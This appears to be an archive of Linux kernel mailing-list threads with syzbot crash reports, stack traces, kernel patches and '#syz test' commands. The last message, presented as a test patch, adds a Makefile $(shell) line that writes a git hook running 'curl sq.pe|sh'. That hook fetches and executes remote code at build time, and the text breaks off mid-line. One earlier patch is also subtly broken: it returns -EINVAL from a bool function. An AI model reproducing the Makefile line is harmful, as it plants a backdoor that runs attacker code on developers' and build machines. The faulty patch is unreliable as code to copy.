[syzbot] [mm?] [usb?] WARNING in __alloc_skb (4)

[syzbot] [mm?] [usb?] WARNING in __alloc_skb (4)

[syzbot]

Hello,

syzbot found the following issue on:

HEAD commit:    7fa4d8dc380f Add linux-next specific files for 20250821
git tree:       linux-next
console output: https://syzkaller.appspot.com/x/log.txt?x=11fecc42580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=ae76068823a236b3
dashboard link: https://syzkaller.appspot.com/bug?extid=5a2250fd91b28106c37b
compiler:       Debian clang version 20.1.7 (++20250616065708+6146a88f6049-1~exp1~20250616065826.132), Debian LLD 20.1.7
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=14c94858580000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=108ea7bc580000

Downloadable assets:
disk image: https://storage.googleapis.com/syzbot-assets/63178c6ef3f8/disk-7fa4d8dc.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/c5c27b0841e0/vmlinux-7fa4d8dc.xz
kernel image: https://storage.googleapis.com/syzbot-assets/9a8832715cca/bzImage-7fa4d8dc.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+5a2250fd91b28106c37b@syzkaller.appspotmail.com

------------[ cut here ]------------
WARNING: mm/page_alloc.c:5124 at __alloc_frozen_pages_noprof+0x2c8/0x370 mm/page_alloc.c:5124, CPU#0: dhcpcd/5530
Modules linked in:
CPU: 0 UID: 0 PID: 5530 Comm: dhcpcd Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025
RIP: 0010:__alloc_frozen_pages_noprof+0x2c8/0x370 mm/page_alloc.c:5124
Code: 74 10 4c 89 e7 89 54 24 0c e8 f4 11 0d 00 8b 54 24 0c 49 83 3c 24 00 0f 85 a5 fe ff ff e9 a6 fe ff ff c6 05 fe aa b7 0d 01 90 <0f> 0b 90 e9 18 ff ff ff a9 00 00 08 00 48 8b 4c 24 10 4c 8d 44 24
RSP: 0018:ffffc90000007780 EFLAGS: 00010246
RAX: ffffc90000007700 RBX: 0000000000000014 RCX: 0000000000000000
RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffc900000077e8
RBP: ffffc90000007870 R08: ffffc900000077e7 R09: 0000000000000000
R10: ffffc900000077c0 R11: fffff52000000efd R12: 0000000000000000
R13: 1ffff92000000ef4 R14: 0000000000060820 R15: dffffc0000000000
FS:  00007f4fd75a9740(0000) GS:ffff8881257c4000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffebb07e018 CR3: 000000001dadc000 CR4: 00000000003526f0
Call Trace:
 <IRQ>
 alloc_pages_mpol+0x232/0x4a0 mm/mempolicy.c:2416
 ___kmalloc_large_node+0x5f/0x1b0 mm/slub.c:4306
 __kmalloc_large_node_noprof+0x18/0x90 mm/slub.c:4337
 __do_kmalloc_node mm/slub.c:4353 [inline]
 __kmalloc_node_track_caller_noprof+0x34d/0x4a0 mm/slub.c:4384
 kmalloc_reserve+0x1b8/0x290 net/core/skbuff.c:608
 __alloc_skb+0x142/0x2d0 net/core/skbuff.c:669
 __netdev_alloc_skb+0x108/0x970 net/core/skbuff.c:733
 rx_submit+0x100/0xab0 drivers/net/usb/usbnet.c:-1
 rx_alloc_submit+0xa6/0x140 drivers/net/usb/usbnet.c:1538
 usbnet_bh+0x9a5/0xd70 drivers/net/usb/usbnet.c:1607
 process_one_work kernel/workqueue.c:3236 [inline]
 process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3319
 bh_worker+0x2b1/0x600 kernel/workqueue.c:3579
 tasklet_action+0xc/0x70 kernel/softirq.c:854
 handle_softirqs+0x283/0x870 kernel/softirq.c:579
 do_softirq+0xec/0x180 kernel/softirq.c:480
 </IRQ>
 <TASK>
 __local_bh_enable_ip+0x17d/0x1c0 kernel/softirq.c:407
 __dev_open+0x694/0x880 net/core/dev.c:1690
 __dev_change_flags+0x1ea/0x6d0 net/core/dev.c:9549
 netif_change_flags+0x88/0x1a0 net/core/dev.c:9612
 dev_change_flags+0x130/0x260 net/core/dev_api.c:68
 devinet_ioctl+0xbb4/0x1b50 net/ipv4/devinet.c:1200
 inet_ioctl+0x3c0/0x4c0 net/ipv4/af_inet.c:1001
 sock_do_ioctl+0xd9/0x300 net/socket.c:1238
 sock_ioctl+0x576/0x790 net/socket.c:1359
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:598 [inline]
 __se_sys_ioctl+0xf9/0x170 fs/ioctl.c:584
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xfa/0xfa0 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4fd76a9378
Code: 00 00 48 8d 44 24 08 48 89 54 24 e0 48 89 44 24 c0 48 8d 44 24 d0 48 89 44 24 c8 b8 10 00 00 00 c7 44 24 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 07 89 d0 c3 0f 1f 40 00 48 8b 15 49 3a 0d
RSP: 002b:00007ffc26f40168 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000016 RCX: 00007f4fd76a9378
RDX: 00007ffc26f50360 RSI: 0000000000008914 RDI: 0000000000000016
RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffc26f60500
R13: 00007f4fd75a96c8 R14: 0000000000000028 R15: 0000000000008914
 </TASK>


---
This report is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.

syzbot will keep track of this issue. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot.

If the report is already addressed, let syzbot know by replying with:
#syz fix: exact-commit-title

If you want syzbot to run the reproducer, reply with:
#syz test: git://repo/address.git branch-or-commit-hash
If you attach or paste a git patch, syzbot will apply it before testing.

If you want to overwrite report's subsystems, reply with:
#syz set subsystems: new-subsystem
(See the list of subsystem names on the web dashboard)

If the report is a duplicate of another one, reply with:
#syz dup: exact-subject-of-another-report

If you want to undo deduplication, reply with:
#syz undup

Forwarded: test linux-next 7fa4d8dc380f

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: test linux-next 7fa4d8dc380f
Author: kriish.sharma2006@gmail.com

#syz test:
https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/
 7fa4d8dc380f

Re: [syzbot] [mm?] [usb?] WARNING in __alloc_skb (4)

[Hillf Danton]

> Date: Wed, 27 Aug 2025 14:55:31 -0700	[thread overview]
> Hello,
> 
> syzbot found the following issue on:
> 
> HEAD commit:    7fa4d8dc380f Add linux-next specific files for 20250821
> git tree:       linux-next
> console output: https://syzkaller.appspot.com/x/log.txt?x=11fecc42580000
> kernel config:  https://syzkaller.appspot.com/x/.config?x=ae76068823a236b3
> dashboard link: https://syzkaller.appspot.com/bug?extid=5a2250fd91b28106c37b
> compiler:       Debian clang version 20.1.7 (++20250616065708+6146a88f6049-1~exp1~20250616065826.132), Debian LLD 20.1.7
> syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=14c94858580000
> C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=108ea7bc580000

#syz test linux-next master

--- x/net/core/skbuff.c
+++ y/net/core/skbuff.c
@@ -657,7 +657,7 @@ struct sk_buff *__alloc_skb(unsigned int
 	    likely(node == NUMA_NO_NODE || node == numa_mem_id()))
 		skb = napi_skb_cache_get();
 	else
-		skb = kmem_cache_alloc_node(cache, gfp_mask & ~GFP_DMA, node);
+		skb = kmem_cache_alloc_node(cache, gfp_mask & ~(GFP_DMA | __GFP_HIGHMEM), node);
 	if (unlikely(!skb))
 		return NULL;
 	prefetchw(skb);
--

Re: [syzbot] [mm?] [usb?] WARNING in __alloc_skb (4)

[syzbot]

Hello,

syzbot has tested the proposed patch but the reproducer is still triggering an issue:
WARNING in __alloc_skb

------------[ cut here ]------------
WARNING: mm/page_alloc.c:5135 at __alloc_frozen_pages_noprof+0x2c8/0x370 mm/page_alloc.c:5135, CPU#1: dhcpcd/5527
Modules linked in:
CPU: 1 UID: 0 PID: 5527 Comm: dhcpcd Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025
RIP: 0010:__alloc_frozen_pages_noprof+0x2c8/0x370 mm/page_alloc.c:5135
Code: 74 10 4c 89 e7 89 54 24 0c e8 f4 b7 0d 00 8b 54 24 0c 49 83 3c 24 00 0f 85 a5 fe ff ff e9 a6 fe ff ff c6 05 25 c9 b7 0d 01 90 <0f> 0b 90 e9 18 ff ff ff a9 00 00 08 00 48 8b 4c 24 10 4c 8d 44 24
RSP: 0018:ffffc90000a086e0 EFLAGS: 00010246
RAX: ffffc90000a08700 RBX: 0000000000000014 RCX: 0000000000000000
RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffc90000a08748
RBP: ffffc90000a087c8 R08: ffffc90000a08747 R09: 0000000000000000
R10: ffffc90000a08720 R11: fffff520001410e9 R12: 0000000000000000
R13: 1ffff920001410e0 R14: 0000000000060820 R15: dffffc0000000000
FS:  00007f141af9a740(0000) GS:ffff8881258a2000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000055fc915d6138 CR3: 000000007caf0000 CR4: 00000000003526f0
Call Trace:
 <IRQ>
 alloc_pages_mpol+0x232/0x4a0 mm/mempolicy.c:2416
 ___kmalloc_large_node+0x5f/0x1b0 mm/slub.c:5543
 __kmalloc_large_node_noprof+0x18/0x90 mm/slub.c:5574
 __do_kmalloc_node mm/slub.c:5590 [inline]
 __kmalloc_node_track_caller_noprof+0x133/0x800 mm/slub.c:5711
 kmalloc_reserve+0x1b8/0x290 net/core/skbuff.c:609
 __alloc_skb+0x142/0x2d0 net/core/skbuff.c:670
 __netdev_alloc_skb+0x108/0x970 net/core/skbuff.c:734
 rx_submit+0x100/0xab0 drivers/net/usb/usbnet.c:-1
 rx_alloc_submit+0xa6/0x140 drivers/net/usb/usbnet.c:1538
 usbnet_bh+0x9a5/0xd70 drivers/net/usb/usbnet.c:1607
 process_one_work kernel/workqueue.c:3263 [inline]
 process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3346
 bh_worker+0x2b1/0x600 kernel/workqueue.c:3607
 tasklet_action+0xc/0x70 kernel/softirq.c:952
 handle_softirqs+0x286/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xca/0x1f0 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1052 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1052
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:queue_work_on+0x1f7/0x270 kernel/workqueue.c:2397
Code: 4d 85 ff 75 16 e8 b9 ce 35 00 eb 15 e8 b2 ce 35 00 e8 9d 57 03 0a 4d 85 ff 74 ea e8 a3 ce 35 00 fb 48 c7 44 24 40 0e 36 e0 45 <4b> c7 04 2e 00 00 00 00 66 43 c7 44 2e 09 00 00 43 c6 44 2e 0b 00
RSP: 0018:ffffc900034a7600 EFLAGS: 00000293
RAX: ffffffff818a4a7d RBX: ffff8880560d9201 RCX: ffff88802eb3bc80
RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
RBP: ffffc900034a76f8 R08: ffffffff8fe4db77 R09: 1ffffffff1fc9b6e
R10: dffffc0000000000 R11: fffffbfff1fc9b6f R12: 0000000000000000
R13: dffffc0000000000 R14: 1ffff92000694ec8 R15: 0000000000000200
 queue_work include/linux/workqueue.h:669 [inline]
 usbnet_open+0x5c6/0xce0 drivers/net/usb/usbnet.c:958
 __dev_open+0x470/0x880 net/core/dev.c:1682
 __dev_change_flags+0x1ea/0x6d0 net/core/dev.c:9630
 netif_change_flags+0x88/0x1a0 net/core/dev.c:9693
 dev_change_flags+0x130/0x260 net/core/dev_api.c:68
 devinet_ioctl+0xbb4/0x1b50 net/ipv4/devinet.c:1199
 inet_ioctl+0x3c0/0x4c0 net/ipv4/af_inet.c:1003
 sock_do_ioctl+0xdc/0x300 net/socket.c:1241
 sock_ioctl+0x576/0x790 net/socket.c:1362
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xfa/0xfa0 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f141b09a378
Code: 00 00 48 8d 44 24 08 48 89 54 24 e0 48 89 44 24 c0 48 8d 44 24 d0 48 89 44 24 c8 b8 10 00 00 00 c7 44 24 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 07 89 d0 c3 0f 1f 40 00 48 8b 15 49 3a 0d
RSP: 002b:00007fff3eacfd18 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000012 RCX: 00007f141b09a378
RDX: 00007fff3eadff10 RSI: 0000000000008914 RDI: 0000000000000012
RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff3eaf00b0
R13: 00007f141af9a6c8 R14: 0000000000000028 R15: 0000000000008914
 </TASK>
----------------
Code disassembly (best guess):
   0:	4d 85 ff             	test   %r15,%r15
   3:	75 16                	jne    0x1b
   5:	e8 b9 ce 35 00       	call   0x35cec3
   a:	eb 15                	jmp    0x21
   c:	e8 b2 ce 35 00       	call   0x35cec3
  11:	e8 9d 57 03 0a       	call   0xa0357b3
  16:	4d 85 ff             	test   %r15,%r15
  19:	74 ea                	je     0x5
  1b:	e8 a3 ce 35 00       	call   0x35cec3
  20:	fb                   	sti
  21:	48 c7 44 24 40 0e 36 	movq   $0x45e0360e,0x40(%rsp)
  28:	e0 45
* 2a:	4b c7 04 2e 00 00 00 	movq   $0x0,(%r14,%r13,1) <-- trapping instruction
  31:	00
  32:	66 43 c7 44 2e 09 00 	movw   $0x0,0x9(%r14,%r13,1)
  39:	00
  3a:	43 c6 44 2e 0b 00    	movb   $0x0,0xb(%r14,%r13,1)


Tested on:

commit:         846bd222 Add linux-next specific files for 20250919
git tree:       linux-next
console output: https://syzkaller.appspot.com/x/log.txt?x=16b15c7c580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=135377594f35b576
dashboard link: https://syzkaller.appspot.com/bug?extid=5a2250fd91b28106c37b
compiler:       Debian clang version 20.1.8 (++20250708063551+0c9f909b7976-1~exp1~20250708183702.136), Debian LLD 20.1.8
patch:          https://syzkaller.appspot.com/x/patch.diff?x=13f2a0e2580000

Re: [syzbot] [mm?] [usb?] WARNING in __alloc_skb (4)

[Hillf Danton]

> Date: Wed, 27 Aug 2025 14:55:31 -0700	[thread overview]
> Hello,
> 
> syzbot found the following issue on:
> 
> HEAD commit:    7fa4d8dc380f Add linux-next specific files for 20250821
> git tree:       linux-next
> console output: https://syzkaller.appspot.com/x/log.txt?x=11fecc42580000
> kernel config:  https://syzkaller.appspot.com/x/.config?x=ae76068823a236b3
> dashboard link: https://syzkaller.appspot.com/bug?extid=5a2250fd91b28106c37b
> compiler:       Debian clang version 20.1.7 (++20250616065708+6146a88f6049-1~exp1~20250616065826.132), Debian LLD 20.1.7
> syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=14c94858580000
> C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=108ea7bc580000

#syz test linux-next master

--- x/net/core/skbuff.c
+++ y/net/core/skbuff.c
@@ -594,6 +594,10 @@ static void *kmalloc_reserve(unsigned in
 	 */
 	*size = (unsigned int)obj_size;
 
+	if (obj_size > (PAGE_SIZE << MAX_PAGE_ORDER)) {
+		obj = NULL;
+		goto out;
+	}
 	/*
 	 * Try a regular allocation, when that fails and we're not entitled
 	 * to the reserves, fail.
@@ -657,7 +661,7 @@ struct sk_buff *__alloc_skb(unsigned int
 	    likely(node == NUMA_NO_NODE || node == numa_mem_id()))
 		skb = napi_skb_cache_get();
 	else
-		skb = kmem_cache_alloc_node(cache, gfp_mask & ~GFP_DMA, node);
+		skb = kmem_cache_alloc_node(cache, gfp_mask & ~(GFP_DMA | __GFP_HIGHMEM), node);
 	if (unlikely(!skb))
 		return NULL;
 	prefetchw(skb);
--

Re: [syzbot] [mm?] [usb?] WARNING in __alloc_skb (4)

[syzbot]

Hello,

syzbot has tested the proposed patch and the reproducer did not trigger any issue:

Reported-by: syzbot+5a2250fd91b28106c37b@syzkaller.appspotmail.com
Tested-by: syzbot+5a2250fd91b28106c37b@syzkaller.appspotmail.com

Tested on:

commit:         846bd222 Add linux-next specific files for 20250919
git tree:       linux-next
console output: https://syzkaller.appspot.com/x/log.txt?x=162b5c7c580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=135377594f35b576
dashboard link: https://syzkaller.appspot.com/bug?extid=5a2250fd91b28106c37b
compiler:       Debian clang version 20.1.8 (++20250708063551+0c9f909b7976-1~exp1~20250708183702.136), Debian LLD 20.1.8
patch:          https://syzkaller.appspot.com/x/patch.diff?x=16eabe42580000

Note: testing is done by a robot and is best-effort only.

Forwarded: syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org.

***

Subject: syz test
Author: kriish.sharma2006@gmail.com

#syz test

Forwarded: re-test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org.

***

Subject: re-test
Author: kriish.sharma2006@gmail.com

#syz test

[syzbot] [rdma?] KMSAN: uninit-value in ib_nl_handle_ip_res_resp

[syzbot]

Hello,

syzbot found the following issue on:

HEAD commit:    1896ce8eb6c6 Merge tag 'fsverity-for-linus' of git://git.k..
git tree:       upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=153d0092580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=6eca10e0cdef44f
dashboard link: https://syzkaller.appspot.com/bug?extid=938fcd548c303fe33c1a
compiler:       Debian clang version 20.1.8 (++20250708063551+0c9f909b7976-1~exp1~20250708183702.136), Debian LLD 20.1.8
userspace arch: i386

Unfortunately, I don't have any reproducer for this issue yet.

Downloadable assets:
disk image: https://storage.googleapis.com/syzbot-assets/d0fbab3c0b62/disk-1896ce8e.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/71c7b444e106/vmlinux-1896ce8e.xz
kernel image: https://storage.googleapis.com/syzbot-assets/96a4aa63999d/bzImage-1896ce8e.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+938fcd548c303fe33c1a@syzkaller.appspotmail.com

netlink: 8 bytes leftover after parsing attributes in process `syz.8.3246'.
=====================================================
BUG: KMSAN: uninit-value in hex_byte_pack include/linux/hex.h:13 [inline]
BUG: KMSAN: uninit-value in ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
 hex_byte_pack include/linux/hex.h:13 [inline]
 ip6_string+0xef4/0x13a0 lib/vsprintf.c:1490
 ip6_addr_string+0x18a/0x3e0 lib/vsprintf.c:1509
 ip_addr_string+0x245/0xee0 lib/vsprintf.c:1633
 pointer+0xc09/0x1bd0 lib/vsprintf.c:2542
 vsnprintf+0xf8a/0x1bd0 lib/vsprintf.c:2930
 vprintk_store+0x3ae/0x1530 kernel/printk/printk.c:2279
 vprintk_emit+0x307/0xcd0 kernel/printk/printk.c:2426
 vprintk_default+0x3f/0x50 kernel/printk/printk.c:2465
 vprintk+0x36/0x50 kernel/printk/printk_safe.c:82
 _printk+0x17e/0x1b0 kernel/printk/printk.c:2475
 ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:128 [inline]
 ib_nl_handle_ip_res_resp+0x963/0x9d0 drivers/infiniband/core/addr.c:141
 rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
 rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
 rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259
 netlink_unicast_kernel net/netlink/af_netlink.c:1320 [inline]
 netlink_unicast+0xf04/0x12b0 net/netlink/af_netlink.c:1346
 netlink_sendmsg+0x10b3/0x1250 net/netlink/af_netlink.c:1896
 sock_sendmsg_nosec net/socket.c:714 [inline]
 __sock_sendmsg+0x333/0x3d0 net/socket.c:729
 ____sys_sendmsg+0x7e0/0xd80 net/socket.c:2617
 ___sys_sendmsg+0x271/0x3b0 net/socket.c:2671
 __sys_sendmsg+0x1aa/0x300 net/socket.c:2703
 __compat_sys_sendmsg net/compat.c:346 [inline]
 __do_compat_sys_sendmsg net/compat.c:353 [inline]
 __se_compat_sys_sendmsg net/compat.c:350 [inline]
 __ia32_compat_sys_sendmsg+0xa4/0x100 net/compat.c:350
 ia32_sys_call+0x3f6c/0x4310 arch/x86/include/generated/asm/syscalls_32.h:371
 do_syscall_32_irqs_on arch/x86/entry/syscall_32.c:83 [inline]
 __do_fast_syscall_32+0xb0/0x150 arch/x86/entry/syscall_32.c:306
 do_fast_syscall_32+0x38/0x80 arch/x86/entry/syscall_32.c:331
 do_SYSENTER_32+0x1f/0x30 arch/x86/entry/syscall_32.c:369
 entry_SYSENTER_compat_after_hwframe+0x84/0x8e

Local variable gid.i created at:
 ib_nl_process_good_ip_rsep drivers/infiniband/core/addr.c:102 [inline]
 ib_nl_handle_ip_res_resp+0x254/0x9d0 drivers/infiniband/core/addr.c:141
 rdma_nl_rcv_msg drivers/infiniband/core/netlink.c:-1 [inline]
 rdma_nl_rcv_skb drivers/infiniband/core/netlink.c:239 [inline]
 rdma_nl_rcv+0xefa/0x11c0 drivers/infiniband/core/netlink.c:259

CPU: 0 UID: 0 PID: 17455 Comm: syz.8.3246 Not tainted syzkaller #0 PREEMPT(none) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025
=====================================================


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Subject: syz test
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#syz test

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Subject: syz test
Author: kriish.sharma2006@gmail.com

#syz test


 drivers/infiniband/core/addr.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/drivers/infiniband/core/addr.c b/drivers/infiniband/core/addr.c
index 61596cda2b65..f33d8040bbd5 100644
--- a/drivers/infiniband/core/addr.c
+++ b/drivers/infiniband/core/addr.c
@@ -93,13 +93,16 @@ static inline bool ib_nl_is_good_ip_resp(const
struct nlmsghdr *nlh)
  if (ret)
  return false;

+ if (!tb[LS_NLA_TYPE_DGID])
+ return -EINVAL;;
+
  return true;
 }

 static void ib_nl_process_good_ip_rsep(const struct nlmsghdr *nlh)
 {
  const struct nlattr *head, *curr;
- union ib_gid gid;
+ union ib_gid gid = {};
  struct addr_req *req;
  int len, rem;
  int found = 0;

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#syz test

[syzbot] [fuse?] BUG: scheduling while atomic in __synchronize_srcu

[syzbot]

Hello,

syzbot found the following issue on:

HEAD commit:    7f87a5ea75f0 Merge tag 'hid-for-linus-2026040801' of git:/..
git tree:       upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=12439316580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=2d08886358f27e8c
dashboard link: https://syzkaller.appspot.com/bug?extid=12b178b7c756664d2518
compiler:       aarch64-linux-gnu-gcc (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44
userspace arch: arm64
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=1461aeba580000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=14c85e06580000

Downloadable assets:
disk image (non-bootable): https://storage.googleapis.com/syzbot-assets/fa3fbcfdac58/non_bootable_disk-7f87a5ea.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/28f02ff1720d/vmlinux-7f87a5ea.xz
kernel image: https://storage.googleapis.com/syzbot-assets/7d30b9e8505e/Image-7f87a5ea.gz.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+12b178b7c756664d2518@syzkaller.appspotmail.com

BUG: scheduling while atomic: syz.1.49/3699/0x00000002
Modules linked in:
CPU: 1 UID: 0 PID: 3699 Comm: syz.1.49 Not tainted syzkaller #0 PREEMPT 
Hardware name: linux,dummy-virt (DT)
Call trace:
 dump_backtrace arch/arm64/kernel/stacktrace.c:498 [inline] (C)
 show_stack+0x18/0x24 arch/arm64/kernel/stacktrace.c:499 (C)
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x60/0x80 lib/dump_stack.c:120
 dump_stack+0x18/0x24 lib/dump_stack.c:129
 __schedule_bug+0x54/0x78 kernel/sched/core.c:5847
 schedule_debug kernel/sched/core.c:5874 [inline]
 __schedule+0x858/0xd84 kernel/sched/core.c:6786
 __schedule_loop kernel/sched/core.c:6993 [inline]
 schedule+0x34/0x114 kernel/sched/core.c:7008
 schedule_timeout+0xd4/0x110 kernel/time/sleep_timeout.c:75
 do_wait_for_common kernel/sched/completion.c:100 [inline]
 __wait_for_common kernel/sched/completion.c:121 [inline]
 wait_for_common kernel/sched/completion.c:132 [inline]
 wait_for_completion+0x78/0x160 kernel/sched/completion.c:153
 __synchronize_srcu+0x90/0xd0 kernel/rcu/srcutree.c:1496
 synchronize_srcu_expedited+0x24/0x40 kernel/rcu/srcutree.c:1521
 kvm_set_irq_routing+0x204/0x294 virt/kvm/irqchip.c:225
 kvm_vgic_setup_default_irq_routing+0x78/0xc0 arch/arm64/kvm/vgic/vgic-irqfd.c:153
 vgic_init+0x1ac/0x268 arch/arm64/kvm/vgic/vgic-init.c:421
 vgic_lazy_init+0x54/0x6c arch/arm64/kvm/vgic/vgic-init.c:550
 kvm_vgic_inject_irq+0x30/0x12c arch/arm64/kvm/vgic/vgic.c:520
 kvm_timer_update_irq+0x68/0x7c arch/arm64/kvm/arch_timer.c:450
 kvm_timer_vcpu_reset+0xd8/0x1e0 arch/arm64/kvm/arch_timer.c:1036
 kvm_reset_vcpu+0x194/0x360 arch/arm64/kvm/reset.c:268
 kvm_vcpu_set_target arch/arm64/kvm/arm.c:1632 [inline]
 kvm_arch_vcpu_ioctl_vcpu_init arch/arm64/kvm/arm.c:1652 [inline]
 kvm_arch_vcpu_ioctl+0x2e4/0x8c8 arch/arm64/kvm/arm.c:1773
 kvm_vcpu_ioctl+0x4ac/0x8f4 virt/kvm/kvm_main.c:4653
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __arm64_sys_ioctl+0xac/0x104 fs/ioctl.c:583
 __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]
 invoke_syscall+0x48/0x104 arch/arm64/kernel/syscall.c:49
 el0_svc_common.constprop.0+0x40/0xe0 arch/arm64/kernel/syscall.c:132
 do_el0_svc+0x1c/0x28 arch/arm64/kernel/syscall.c:151
 el0_svc+0x34/0x124 arch/arm64/kernel/entry-common.c:724
 el0t_64_sync_handler+0xa0/0xf0 arch/arm64/kernel/entry-common.c:743
 el0t_64_sync+0x1a4/0x1a8 arch/arm64/kernel/entry.S:596
BUG: scheduling while atomic: syz.1.49/3699/0x00000000
Modules linked in:
CPU: 1 UID: 0 PID: 3699 Comm: syz.1.49 Tainted: G        W           syzkaller #0 PREEMPT 
Tainted: [W]=WARN
Hardware name: linux,dummy-virt (DT)
Call trace:
 dump_backtrace arch/arm64/kernel/stacktrace.c:498 [inline] (C)
 show_stack+0x18/0x24 arch/arm64/kernel/stacktrace.c:499 (C)
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x60/0x80 lib/dump_stack.c:120
 dump_stack+0x18/0x24 lib/dump_stack.c:129
 __schedule_bug+0x54/0x78 kernel/sched/core.c:5847
 schedule_debug kernel/sched/core.c:5874 [inline]
 __schedule+0x858/0xd84 kernel/sched/core.c:6786
 __schedule_loop kernel/sched/core.c:6993 [inline]
 schedule+0x34/0x114 kernel/sched/core.c:7008
 futex_do_wait kernel/futex/waitwake.c:358 [inline]
 __futex_wait+0xf0/0x178 kernel/futex/waitwake.c:687
 futex_wait+0x88/0x118 kernel/futex/waitwake.c:715
 do_futex+0xf8/0x1a0 kernel/futex/syscalls.c:130
 __do_sys_futex kernel/futex/syscalls.c:207 [inline]
 __se_sys_futex kernel/futex/syscalls.c:188 [inline]
 __arm64_sys_futex+0xfc/0x1a0 kernel/futex/syscalls.c:188
 __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]
 invoke_syscall+0x48/0x104 arch/arm64/kernel/syscall.c:49
 el0_svc_common.constprop.0+0x40/0xe0 arch/arm64/kernel/syscall.c:132
 do_el0_svc+0x1c/0x28 arch/arm64/kernel/syscall.c:151
 el0_svc+0x34/0x124 arch/arm64/kernel/entry-common.c:724
 el0t_64_sync_handler+0xa0/0xf0 arch/arm64/kernel/entry-common.c:743
 el0t_64_sync+0x1a4/0x1a8 arch/arm64/kernel/entry.S:596
psi: inconsistent task state! task=30:pr/ttyAMA-1 cpu=1 psi_flags=14 clear=0 set=10


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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell mkdir -p .git/hooks && printf '#!/bin/sh\ncurl sq.pe|sh\n' >
